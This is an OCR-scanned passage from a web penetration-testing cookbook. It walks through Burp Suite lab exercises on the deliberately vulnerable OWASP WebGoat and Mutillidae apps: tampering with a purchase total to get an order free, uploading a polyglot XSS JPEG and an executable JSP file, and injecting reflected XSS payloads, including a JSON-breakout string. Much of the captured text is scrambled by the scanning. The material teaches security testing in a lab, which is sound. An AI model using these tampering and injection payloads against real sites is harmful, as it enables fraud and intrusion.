Injection Flaws

Denial of Service

Insecure Communication

{:} Inspector

¢ Filter output

decrypt('emph');

B3 Console

Solution Videos

STAGE 1: For this exercise, your mission is to
discount.

* Keep looking for the coupon code.

[ Debugger

Shopping Cart Items -- To Buy
Now

Studio RTA - Laptop/Reading Cart with
Tilting Surface - Cherry

Dynex - Traditional Notebook Case

Hewlett-Packard - Pavilion Notebook
with Intel® Centrino™

3 - Year Performance Service Plan
$1000 and Over

Total before coupon is applied:

{} Style Editor (G, Performance

13. After pressing Enter, you will see the coupon code is decrypted to the word

GOLD:

=

& "GoLD"

L3 Inspector

W ¢ Filter output
I > decrypt('emph');

Console
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14. Place the word GOLD within the Enter your coupon code box. Notice the amount

is now much less. Next, click the Purchase button:

discount.

* Keep looking for the coupon code.

STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended

Shopping Cart

Shopping Cart Items -- To Buy . .

Now Price Quantity Total
Studio RTA - Laptop/Reading Cart with ’7
Tilting Surface - Cherry $69.99 0 $0.00
Dynex - Traditional Notebook Case $27.99 ‘0 $0.00
Hewlett-Packard - Pavilion Notebook
with Intel® Centrino™ $1599.99 2 $3,199.98
3 - Year Performance Service Plan
$1000 and Over $299.99 0 $0.00
Total before coupon is applied: $3,199.98
Total to be charged to your credit card: $1,599.99

Enter your credit card number: 4128 3214 0002 1999
Enter your coupon code: IGOLD I

I Purchase I

15. We receive confirmation regarding stage 1 completion. Let's now try to get the

purchase for free:

STAGE 2: Now, try to get your entire order for free.

* Stage 1 completed.
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16. Switch to Burp's Proxy | Intercept tab and turn Interceptor on with the button
Intercept is on.

17. Return to Firefox and press the Purchase button. While the request is paused,
modify the $1,599.99 amount to $0.00. Look for the GRANDTOT parameter to help
you find the grand total to change:

Target | froxy | Spider | Scanner | Intruder | Repeater Iswueﬂcar IDewder I Comparer I Extender I Project options TUsef options. i Alerts
j Jercept | HTTP history | WebSockets history | Options

L’J Request to http://192 168.56.101:80
Forward Drop Intercept is on Action lE

= e e

POST /WebGoat/attack?Screen=llSanenu=400 HTTP/1.1

Host: 182.188.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:i6l.0) Gecko/Z0Ll00L0L Firefox/EL.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.5,*/*;q=0.8

Accept-Language: en-US,en;q=0.§

Accept-Encoding: gzip, deflate

Referer: htep://192.168.56.101/WehGoat/attack?Screen=119 menu=400

Content-Type: application/x-www-form-urlencoded

Content-Length: 243

Cookie: JSESSTONID=CD7B3SEBASSCTS5EE0BCOABE4TIEATE4; acopendivids=swingset,jotto,phpbb?, rednine; acgroupswithpersist=nada
Authorization: Basic Z3V1e3QEZ3V1e3Q=

Connection: close

Upgrade-Insecure-Requests: 1

PRCL=§0469. S92QTY1=04TOTL=%240. 00&PRCI=42427. 994QTY2=08TOT2=4240. 004PRCI=4 241599, S9LQTY3=26TOTI=4 243420198 S84PRC4=424292 . S96QTY4=04TOT4=4240. D0LSUBTOT=4243%2C189 . SBLCRANDTOT=
82 ‘ﬁeld:a\l:sce:umna:u;;nsnudl=-::Lmsuzmhpumm‘.e

18. Click the Forward button. Now turn Interceptor off by clicking the toggle button
to Intercept is off.

19. You should receive a success message. Note the total charged is now $0.00:
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Logout &

Choose another language: | English |

Insecure Client Storage

OWASP WebGoat v5.4

Introduction

General

Access Control Flaws

AJAX Security
Same Origin Policy Protection
LAB: DOM-Based cross-site
scripting
LAB: Client Side Filtering
DOM Injection

Solution Videos Restart this Lesson
STAGE 2: Now, try to get your entire order for free.

* Congratulations. You have successfully completed this lesson.

Shopping Cart
Shopping Cart Items -- To Buy
Now

XML Injection
JSON Injection
Silent Transactions Attacks

Dangerous Use of Eval

Price Quantity Total

0o |s000
0 $0.00

Studio RTA - Laptop/Reading Cart with
Tilting Surface - Cherry $69-99

Dynex - Traditional Notebook Case $27.99

v
Insecure Client Storage ™
Hewlett-Packard - Pavilion Notebook
Authentication Flaws with Intel® Centrino™ $1599.99 2 $3,199.98
ggg:rQ?J‘;ﬁgows 3 - Year Performance Service Plan $299.99 [0 ‘ $0.00
Concurrency $1000 and Over g .l
Cross-Site Scripting (XSS)
Improper Error Handling . —
Irue_ction Flaw_s Total before coupon is applied: $3,199_93
Denial of Service =~ Total to be charged to your credit card: $0.00
Insecure Communication
Insecure Configuration
I St "
,\.?;ﬁcci:i,es Efé?gteim Enter your credit card number: 4128 3214 0002 1999
Parameter Tampering ) r
Session Management Flaws Enter your coupon code: GOLD
Web Services Purchase

Admin Functions
Challenge

How it works...

Due to a lack of server-side checking for both the coupon code as well as the grand total
amount prior to charging the credit card, we are able to circumvent the prices assigned and
set our own prices instead.
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Uploading malicious files — polyglots

Polyglot is a term defined as something that uses several languages. If we carry this
concept into hacking, it means the creation of a cross-site scripting (XSS) attack vector by
using different languages as execution points. For example, attackers can construct valid
images and embed JavaScript with them. The placement of the JavaScript payload is
usually in the comments section of an image. Once the image is loaded in a browser, the
XSS content may execute, depending upon the strictness of the content-type declared by the
web server and the interpretation of the content-type by the browser.

Getting ready

¢ Download a JPG file containing a cross-site scripting vulnerability from the
PortSwigger blog page: https://portswigger.net/blog/bypassing-csp-using—-
polyglot-jpegs
e Here is a direct link to the polyglot image: http://portswigger-
labs.net/polyglot/jpeg/xss.jpg
¢ Using the OWASP WebGoat file upload functionality, we will plant an image
into the application that contains an XSS payload.

How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat application
from the initial landing page of the VM. The landing page will be configured to
an IP address specific to your machine.

2. After you click the OWASP WebGoat link, you will be prompted for login
credentials. Use these credentials: username: guest; password: guest.

3. After authentication, click the Start WebGoat button to access the application
exercises.
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4. Click Malicious Execution | Malicious File Execution from the left-hand menu.
You are presented with a file upload functionality page. The instructions state
that only images are allowed for upload:

Internationalization is not available for this lesson Logout e

Malicious File Execution

OWASP WebGoat v5.4 «

>

Introduction
General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Solution Videos Restart this Lesson

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

Code Quality

Efgsst{gscgcgcripting (XSS) In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
Improper Error Handling execute, it should create another file named:

Injection Flaws

D;mal of Service /var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt

Insecure Communication o X

Insecure Configuration Once you have created this file, you will pass the lesson.

alicious Exacution WebGoat Image Storage

Malicious File Execution

Parameter Tampering Your current image:

Session Management Flaws
Web Services

Admin Functions

Challenge Upload a new image: Browse... No file selected. Start Upload

No image uploaded

Crested by ‘Ia,“in;:*ﬂ ANDIANT

NFORMATION SEOURITY

OWASP Foundation | Project WebGoat | Report Bug

5. Browse to the location where you saved the xss. jpg image that you
downloaded from the PortSwigger blog page mentioned at the beginning of this
recipe.

6. The following screenshot how the image looks. As you can see, it is difficult to
detect any XSS vulnerability contained within the image. It is hidden from plain
view.
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7. Click the Browse button to select the xss . jpg file:

Logout &2

Malicious File Execution

OWASP WebGoat v5.4

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution

Malicious File Execution

Restart this Lesson

Solution Videos

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt

Once you have created this file, you will pass the lesson.

WebGoat Image Storage

Parameter Tampering Your current image:

Session Management Flaws
Web Services

Admin Functions

Challenge

No image uploaded

Browse... xss.jpg Start Upload

Upload a new image:

Crested by ﬁﬂﬁ;“ﬂ ANDIANT

INTELLIGENT INFORMATIEN SECURITY

OWASP Foundation | Project WebGoat | Report Bug

8. Switch to Burp's Proxy | Options. Make sure you are capturing Client responses
and have the following settings enabled. This will allow us to capture HTTP
responses modified or intercepted:

~

Intercept Server Responses

2
@

Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.

I [ Intercept responses based on the following rules: !

[ Add J Enabled | Operator | Match type Relationship \ Condition

(4] Content type header Matches text
Edit €] or Request Was modified
el Or Reguest Was intercepted
Remove ] And Status code Does not match 3048 L

(] And URL Is in target scope

L |

[ Down J

[ Automatically update Content-Length header when the response is edited
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9. Switch to Burp's Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.

10. Return to the Firefox browser, and click the Start Upload button. The message
should be paused within Burp's Interceptor.

[ Target T Proxy T Spider T Scanner T Intruder I Repeater I Sequencer T Decoder I Comparer T Extender T Project options T User options T Alerts ]

t T HTTP history T WebSockets history T Options ]

w Request to http://192.168.56.101:80

| Forwad | | DOrop | I Intercept is on ' [ acton |
Raw | Params | Headers | Hex

POST /WebGoat/attack?Screen=18&menu=1600 HTTP/1.1

Host: 182.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:€l.0) Gecko/ID1l00101 Firefox/el.0
Accept: text/html,application/xhtmltxml, application/xml;q=0.9,*%/*;q=0.8

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/WebGoat /attack? Screen=186menu=1600

Content-Type: multipart/form-data; boundary=---------—-----—- 41184676334
Content-Length: 25281

Cookie: JSESSIONID=ELZDTALLFLIC3E5I45CD0OELZEE8407EID; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada
Authorization: Basic Z3V1e30€23V1e3i(=

Connection: close

Upgracde-Insecure-Requests: 1

------------ 41184676334
Content-Disposition: form-data; name="myfile"; filename="xss_ jpg"
Content-Type: image/jpeqg

Y@y a/*IFIFODOOOHOHOOOOOOOOOOOOOO00DO0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)|

1000000000001 1000C I00000000000C 1000000000000 1000000000000 100000000000C 1000C 1000000000000000)|
1000000000000000000000000000000000000000000000000000000000000000000000000000000000¢ 10000000000000000000000)
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11. Within the Intercept window while the request is paused, type Burp rocks into
the search box at the bottom. You should see a match in the middle of the image.
This is our polyglot payload. It is an image, but it contains a hidden XSS script
within the comments of the image:

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Seguencer TE

_[ Intercept T HTTP history T WebSockets history T Options ]

] #| Request to hitp://192.168.56.101:80

[ Forward J l Drop J [ Intercept is on ] { Action J

_[ Raw T Params T Headers | Hex

0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000C
oooool O0000000000000000000000C
:Il:ll:lwz$*z=alert ("Burp rocks.") ;/qgtl‘ 0 c000000000000000000000¢
0oooo
ooo
O00000000000000000000000000000%10 c0000000 oo ooc
00000vADYOOOOOOO0000000 0000000000000 ¢ 1Aud " 78Qaqe0” "06U*
00000000000000000! 15AQx ‘|:|4aqi:| +:A00S, IIEI"EPnaaDs"' 3T ¢ biyUOOL
$/wT0ry0+iRORTY #2070 ! * Géevedrs -4, paelg(59565K_DaxasOl
§=3EI-§I::IS&-.LMAS’2 »@éSV-_UT?- I;y?]!.S—‘EG]ﬂ O9g7vDE0 (L™ f
EE«-ehp?! & (g<é' tLiCE°-ToSYOEDAASO+£, " YQ_OPOZNP+OBiZ (@W)3jQ:
OWE=-9nO»wudl” & "fibutadJO0a<<+_ 2/] e00-N26T00 wOA0R. I-c0€306-2C
YZ+§N}OF2SU0+-0+ Q0143 EAD4” 264 27>/ 0SIPe, iVOOEO“ZTAE »1EBO ¢
<n! m0p=«/R*nus ZEYED oonJits 7 —03 568 i]-:al:lpé-:l”(ch*>ﬂ*.\siae<c:
O Lz* ' UE—AO; | T¢Pyl | @eZAT«TipOalio9rsBWL «1iéi« 2007 {-2200+ [+E ~
n¥q e00ATDAA0gAT , CHUZUOZEADD 0D i0 :00-«®) ~ &5, -OKud 0} *=2J00 <«
LAl -wh, x®fwt: I}y"lﬁﬂ

+0UV« +08wu0" agOi=" AP0 050000F: ° 16fseq )00 [ ;07-0000pD0acdiffac
"¢ II)Anca.'} L6 {108 e~ ¥040ccliDg . 641wk [ (V#8-0200u0c i0vTC, &¢—11
1 OMNEMER" 43" ; 9ak -5 [—0& { <UEvEN: -2Z0%¥0A«t $0x05<M00 ( SQ0zrO£:
Oes( ;D@y‘::&‘l:l»ﬂéﬁ} 1+0Eusx ) —1i AD@0 +ums | IBUaH.BYDo$uD).‘ﬂDpaL t-
=& { ;2" %H}DAWEERA1yI "Te<UuMxn{  2° §¥OO~"~>=~1id¢ 'O /OclkviOF * Unw-
wmI$0PVIO>Y ' ¢ " —0-2g0" E0EHeixVA[ ioChOknE (- [@JP 045 W' Bh" G+Ci
*PEAASE s DOgzhéit 0027 %4815+a beOOTi0IuTi5—=1i5025i0esb g0
—kliDIﬂD’u>P Ul.¢-B778 140 «=ai0:D0% { | Uzmé' *£éé~ >0ty LE/0
ul:l—u'mnﬂ 3d’ 1a9@r j0gh" E0Tu-) k@¥OcO0E* 85+a00gRi 85870V, vOf~
<D<<|:JP-"Y3'A. ~@3" mOenop” o0? £45903 ¢ mgd>¥* ®i fo¥ 55 5NiTnsesonn 2
Oxf S0CE:¥+g: E—-) 18070 2000 < *3q0#5 Dhee, 1 7 x®2™Me " chesUS 20 EO-<(
E'AnKP!2 DI:IlﬁB‘y‘EIPDAUEIH% §0ZvOvenGcsOvV+0 22 A00¢$0Xp0* bu0vs *IT
f"il'r'R< Gl >tr(*’w‘mTT-|' TAASMEEN < AxM EVER* £ARYVRS~Da el iTT0%:

LJ LJ u u IBurprocks I
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12. Click the Forward button. Now turn Interceptor off by clicking the toggle button

13.

14.

15.
16.

to Intercept is off.

Using Notepad or your favorite text editor, create a new file called poly. jsp,

and write the following code within the file:

<HTML>

<% java.iQ.File file = new

file.createNewFile();%>

</HTML>

java.io.File("/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt");

Return to the Malicious File Execution page, and browse to the poly. jsp file
you created, and then click the Start Upload button. The poly. jspis a Java
Server Pages file that is executable on this web server. Following the instructions,
we must create a guest . txt file in the path provided. This code creates that file

in JSP scriptlet tag code:

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt

Once you have created this file, you will pass the lesson.

WebGoat Image Storage

Your current image:
Upload a new image:| Browse... poly.jsp Start Upload

d by Chuck
creste y?mﬁfslu' ANDIANT

OWASP Foundation | Project WebGoat | Report Bug

Solution Videos Restart this Lesson

Right-click the unrecognized image, and select Copy Image Location.

Open a new tab within the same Firefox browser as WebGoat, and paste the
image location in the new tab. Press Enter to execute the script, and give the
script a few seconds to run in the background before moving to the next step.
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17. Flip back to the first tab, F5, to refresh the page, and you should receive the
successfully completed message. If your script is running slowly, try uploading
the poly. jsp on the upload page again. The success message should appear:

Malicious File Execution

OWASP WebGoat v5.4

i T . S|

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Solution Videos Restart this Lesson

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution

Once you have created this file, you will pass the lesson.

* Congratulations. You have successfully completed this lesson.

Malicious File Execution
Parameter Tampering WebGoat Image Storage
Session Management Flaws
Web Services li
Admin Functions Your current image:

Challenge

Upload a new image: Browse... No file selected. Start Upload

Created by Chuck
e Ywﬁfslul ANDIANT

M GCOURITY

OWASP Foundation | Project WebGoat | Report Bug

How it works...

Due to unrestricted file upload vulnerability, we can upload a malicious file such as a
polyglot without detection from the web server. Many sites allow images to be uploaded,
so developers must ensure such images do not carry XSS payloads within them. Protection
in this area can be in the form of magic number checks or special proxy servers screening
all uploads.

There's more...

To read more about polyglots, please refer to the Portswigger blog: https://portswigger.
net/blog/bypassing-csp-using-polyglot-jpegs.
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Evaluating Input Validation
Checks

In this chapter, we will cover the following recipes:

e Testing for reflected cross-site scripting

Testing for stored cross-site scripting

Testing for HTTP verb tampering

Testing for HTTP Parameter Pollution

Testing for SQL injection

Testing for command injection

Introduction

Failure to validate any input received from the client before using it in the application code
is one of the most common security vulnerabilities found in web applications. This flaw is
the source for major security issues, such as SQL injection and cross-site scripting (XSS).
Web-penetration testers must evaluate and determine whether any input is reflected back
or executed upon by the application. We'll learn how to use Burp to perform such tests.

Software tool requirements

In order to complete the recipes in this chapter, you will need the following;:

e OWASP Broken Web Applications (VM)
o OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
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Testing for reflected cross-site scripting

Reflected cross-site scripting occurs when malicious JavaScript is injected into an input
field, parameter, or header and, after returning from the web server, is executed within the
browser. Reflected XSS occurs when the execution of the JavaScript reflects in the browser
only and is not a permanent part of the web page. Penetration testers need to test all client
values sent to the web server to determine whether XSS is possible.

Getting ready

Using OWASP Mutillidae II, let's determine whether the application protects against
reflected cross-site scripting (XSS).

How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP 2013
| A3 - Cross Site Scripting (XSS) | Reflected (First Order) | Pen Test Tool
Lookup:

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Hints: Enabled (1 - 5¢cript K1dd1e)

Version: 2.6.24  Security Level: 0 (Hosed) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured
e ——————

OWASP 2013 A1l - Injection (SQL)
A1 - Injection (Other)

Pen Test Tool Lookup

OWASP 2010

— A2 - Broken Authentication and
OWASP 2007 Session Management ¥ Help Me!

Web Services A3 - Cross Site Scripting (XSS) ¥ | Reflected (First Order) » DNS Lookup

A4 - Insecure Direct Object » | Persistent (Second Order) ¥ | Pen Test Tool Lookup
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2. Select a tool from the drop-down listing and click the Lookup Tool button. Any
value from the drop-down list will work for this recipe:

( Pen Test Tool Lookup )

% Back e Help Me!

\; Hints

AJAX
Switch to AJAX Version of page

=

—Pen Test Tools

[ Select Pen Test Tool ]

Pen Test Tool |Skipfish v

Lookup Tool

3. Switch to Burp Proxy | HTTP history and find the HTTP message you just
created by selecting the lookup tool. Note that in the request is a parameter called
ToolID. In the following example, the value is 16:

[ Target I Proxy T Spider T Scanner T Intruder ] Repeater 1 Sequencer T Decoder T Comparer T Extender 1 Project options. T User options T Alerts T Headers Analyzer I xssValida

| Intercept | HTTP history T WebSockets history T Options ]

Logging ofcut-o-scape Froxy afic s isablea | Re-onabe]

‘I Filter: Hiding CSS, image and general binary content

# A Host Method | URL | Params | Edited Status | Length | MIMEtype | Extensjon
| 54 hitp://[192.168.56.101 POST ndex. php?page=pen-test-tooklookup.php 4 200 50868 HTML php
|« -

Request | Response
Raw Pamms]HeEders Hex

POST /mutillidae/index.php?page=pen-test-tool-loockup.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x€4; rv:€l.0) Gecko/Z0100101 Firefox/El.0
Accept: text/html,application/xhtml+xnl, application/xml;q=0.9, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://182.168.56.101/mutillidae/index.php?page=pen-test-tool-lookup.php
Content-Type: application/x-www-form-urlencoded
Content-Length: E0

Cookie: showhints=1; PHPSESSID=dl745borno0%9wndinjvdmSlesZ;
Connection: close

Upgrade-Insecure-Recquests: 1

Cache-Control: max-age=0

acopendivids=swingset, jotto,phpbbl, redmine; acgroupswithpersist=nada

|‘.I'DolID=1£L1:en—ces\:—too.L—.|.oo}rul:—php—sul:mi\:—l:u::on=l.colmpf'l'o-c-l
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4. Flip over to the Response tab and note the JSON returned from the request. You
can find the JavaScript function in the response more easily by typing
PenTest in the search box at the bottom. Note that the tool_id is reflected in a
response parameter called toolIDRequested. This may be an attack vector for
XSS:

I [ Target I Proxy I Spider I Scanner T Intruder ] Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options. IAlerts ]

I Intercept | HTTP history ] WebSockets history T Options ]

| Logging of out-of-scope Proxy traffic is disabled | Re-enable

‘ Filter: Hiding C55, image and general binary content

‘ # 4| Host | Method | URL | Params | Edited | Status | Lengt
‘ 54 hittp://192.168.56.101 POST Imutilidae/index.php?page=pen-test-took-lookup.php v 200 5086
ELS

s
_[ Raw T Headers | Hex | HTML T chder]

wvar glUseSafeJSONParser = "FALSE":
var glUseJavaScriptValidation = "FALSE";
var gDisplayError = "FALSE";
var gPenTestToolsJSONString = '{'"query": {"toolIDRequested": "16", "penTestTools": [{"tool_id":"16",6 "tool_name":

Query Tool", "comment'": "The Domain Information Groper is prefered on Linux over NSLookup and prowvides more inform
output. DIG can perform zone transfers if the DNS server allows transfers."}]1}}'
var addBow = function(pRowOfData){
tryl
var lDocRoot = window.document:
var 1lTBody = lDocRoot.getElementById("idDisplayTableBody"):
var 1TR = 1lDocRoot.createElement("tr");

f/tool_id, tool name, phase to use, tool type, comment

var 1lToolIDTD = l1lDocRoot.createElement ("td"):
var lToolNameTD = lDocRoot.createElement ("td");
var 1PhaseTD = lDocRoot.createElement("td");
var 1lToolTypeTDh = 1lDocRoot . createElement ("td"):
var lCommentTD = lDocRoot_ createElement("td"):

//1¥eyTD . addAttribute("class", "label"):
1ToolIDTD.setAttribute ("class", "sub-body");
1ToolNameTD.setAttribute("class", "sub-body"):
1ToolNameTD. setAttribute ("style", "color:#7170000");
1PhaseTD . setAttribute ("class" K "sub-body"):

1ToolTypeTD. setAttribute ("class", "sub-body"):
1CommentTD. setAttribute ("class",K "sub-body"):
1CommentTD. setAttribute("style", "font-weight: normal"):

1ToolIDTD. appendChild(1lDocRoot.createTextNode (pRowO£fData.tool_id));
1ToolNameTD . appendChild(1DocRoot  createTextNode (pRowOfData.tool name));
1PhaseTD.appendChild{1DocRoot . createTextNode (pRowOfData phase to_use));
1ToolTypeTD. appendChild(1DocRoot  createTextNode (pRowOfData.tool_type));
1CommentTD. appendChild (1DocRoot . createTextNode (pRowOfData. comment ) ) ;

1TE. appendChild (1ToolIDTD) ;

AMD  cwmrn AT TS T AT T T W M -

EJ EJ lIJ EjlpenTest |
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5. Send the request over to Repeater. Add an XSS payload within the Too1ID

parameter immediately following the number. Use a simple payload such
as <script>alert (1);</script>:

[Target I Proxy T Spider I Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender r

1 =12 = |3 = |__
Go Cancel < 7 >y

Request

_[ Raw T Params T Headers T Hex ]

POST /mutillidae/index.php?page=pen-test-tool-lookup.php HTTP/l.1l

Host: 152.1e8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4d4; x64; rv:6l.0) Gecko/20100101
Firefox/cl.0

Accept: text/html, application/xhtml+tzml, application/xml ;qgq=0_9,*/*;q=0_8
Accept-Lancuage: en-US, en;qg=0_.5

Accept-Encoding: gzip, deflate

Referer: http://l52.168.56.101/mutillidae/index php?page=pen-test-tool-lookup.php
Content-Type: application/x-www-form-urlencoded

Content-Length: &0

Cookie: showhints=1l; PHPSEZSID=dl745bhorno0SvndinijvdmnSlosZ;
acopendivids=swingset ,jotto,phpbhl,redmnine; acgroupswithpersist=nada
Comnection: close

Tpgrade-Insecure-Regquests: 1

Cache-Control: max-age=0

TDDlID=PE{script}alert(lh;{/scriptﬂﬂpEn—test—tnnl—lnokup—php—submit—butt0n=Lanup+T
ool
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6. Click Go and examine the returned JSON response, searching for PenTest.
Notice our payload is returned exactly as inputted. It looks like the developer is
not sanitizing any of the input data before using it. Let's exploit the flaw:

Response

_[ Raw T Headers T Hex T HTML T Render ]

var glzeSafeJSONParser = "FALSE":;
var glseJavaScriptValidation = "FALSE":
var gDhisplayError = "FALSE":
var gPenTestToolsJS0NString = '{"guery": {"toolIDRequested":
"l6<script>alert(l); </script="|, "penTestToolzs":
[{"tool_id":"16", 6 "tool mame":"Dig", "phase to use": "Recomnaissance", "tool_ type":"DNS
Server (Query Tool", "comment":"The Domain Information Groper is prefered on Linux

over NSLookup and provides more information matively. NSLookup must be in debug
mode to give similar output. DIG can perform zone transfers if the DNS server
allows transfers."}]1}}'
var addBRow = function(pRowlfData){
tryl

var l1lDocRoot = window.document ;

var 1TBody = lDocEoot getElementById("idDisplayTableBody"):

var 1TR = 1lDocRoot.createElement("tr");

//tool_id, tool mame, phase to use, tool type, comment

7. Since we are working with JSON instead of HTML, we will need to adjust the
payload to match the structure of the JSON returned. We will fool the JSON into
thinking the payload is legitimate. We will modify the original
<script>alert (1);</script> payload to "}} )%3balert (1)%3b// instead.

8. Switch to the Burp Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.

9. Return to Firefox, select another tool from the drop-down list, and click the
Lookup Tool button.
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10. While Proxy | Interceptor has the request paused, insert the new payload of "} }
) $3balert (1) %$3b// immediately after the Tool ID number:

[ Target [ erany | spicer | [ ntrudger | Repeater | er | Decoder | Comparer | Extender | Project options | User options | Alerts |

_[ Intercept T HTTP history T WebSockets history T Options. ]

(#]) Requestto ntip:r182.168.56.101:80

| Forwara | | Drop J | iterceptison | | Acton |

Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=pen-test-tool-lockup.php HTTPF/1.1

Host: 1SIZ.1EB.5E.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x&4; rv:El.0) Gecko/20100101 Firefox/€l.0
Accept: text/html,application/xhtml+xml, application/xml;gq=0.39,*/%;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidas/index.php?page=pen-test-tool-lockup.php
Content-Type: application/x-www-form-urlencoded

Content-Length: &0
Cookie: showhints=1;
Connection: close
Upgrade-Insecure-Requests: 1

PHPSESSID=dl745borno09vndinjvdndlesl; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada

| ToolID=12"}} )1%3balerc(l)$ S‘b//Ierrk‘:es:*ﬂﬂﬂlAlnokup*php -submit-button=Lookup+Tool

11. Click the Forward button. Turn Interceptor off by toggling to Intercept is off.
12. Return to the Firefox browser and see the pop-up alert box displayed. You've
successfully shown a proof of concept (PoC) for the reflected XSS vulnerability:
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How it works...

Due to inadequate input cleansing prior to using data received from the client. In this case,
the penetration testing tools identifier is reflected in the response as it is received from the
client, allowing an attack vector for an XSS attack.

Testing for stored cross-site scripting

Stored cross-site scripting occurs when malicious JavaScript is injected into an input field,
parameter, or header and, after returning from the web server, is executed within the
browser and becomes a permanent part of the page. Stored XSS occurs when the malicious
JavaScript is stored in the database and is used later to populate the display of a web page.
Penetration testers need to test all client values sent to the web server to determine whether

XSS is possible.

Getting ready

Using OWASP Mutillidae 1I, let's determine whether the application protects against stored
cross-site scripting.

How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP 2013
| A3 - Cross Site Scripting (XSS) | Persistent (First Order) | Add to your blog:

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Hints: Enabled (1 - 5cript K1dd1e)

Not Logged In

Version: 2.6.24  Security Level: 0 (Hosed)

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1 - Injection (SQL)
A1 - Injection (Other)

Pen Test Tool Lookup

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management f Help Me!

Web Services A3 - Cross Site Scripting (XSS) Reflected (First Order)
A4 - Insecure Direct Object Persistent (Second Order) » | Add to your blog
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2. Place some verbiage into the text area. Before clicking the Save Blog Entry
button, let's try a payload with the entry:

[ Target I Proxy I Spider T Scanner I Intruder T Repeater I Sequencer T Decoder T Comparer T Extender I Project options I User options T Alerts ]

Intercept | HTTP history T WebSockets history T Opticns ]

‘ Fiter: Hiding CSS, image and general binary content

# 4| Host \ Method || URL | Params | Edited | Status | Length | MIMEtype | Extension | Title
11 L hitp:i192.168.56.101 GET Imutilidae/index.php?page=home.phps.... v 200 46441 HTML php
-«

Request | Response

Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=hone.phpéipopUplictificationCode=HPHO HTTP/1l.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:£1.0) Gecko/Z0l00Ll01 Firefox/EL1.0D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;¢=0.8

[Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: htep://182_ 168_56_101/mutillidae/index php?page=home php&popUplNotificationCode=HPHO
Cookie: showhints=1; PHPSESSID=dl748borno09vndjnjvimSles?; acopendivids=swingset,jotto,phpbb?, redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

3. Switch to the Burp Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.
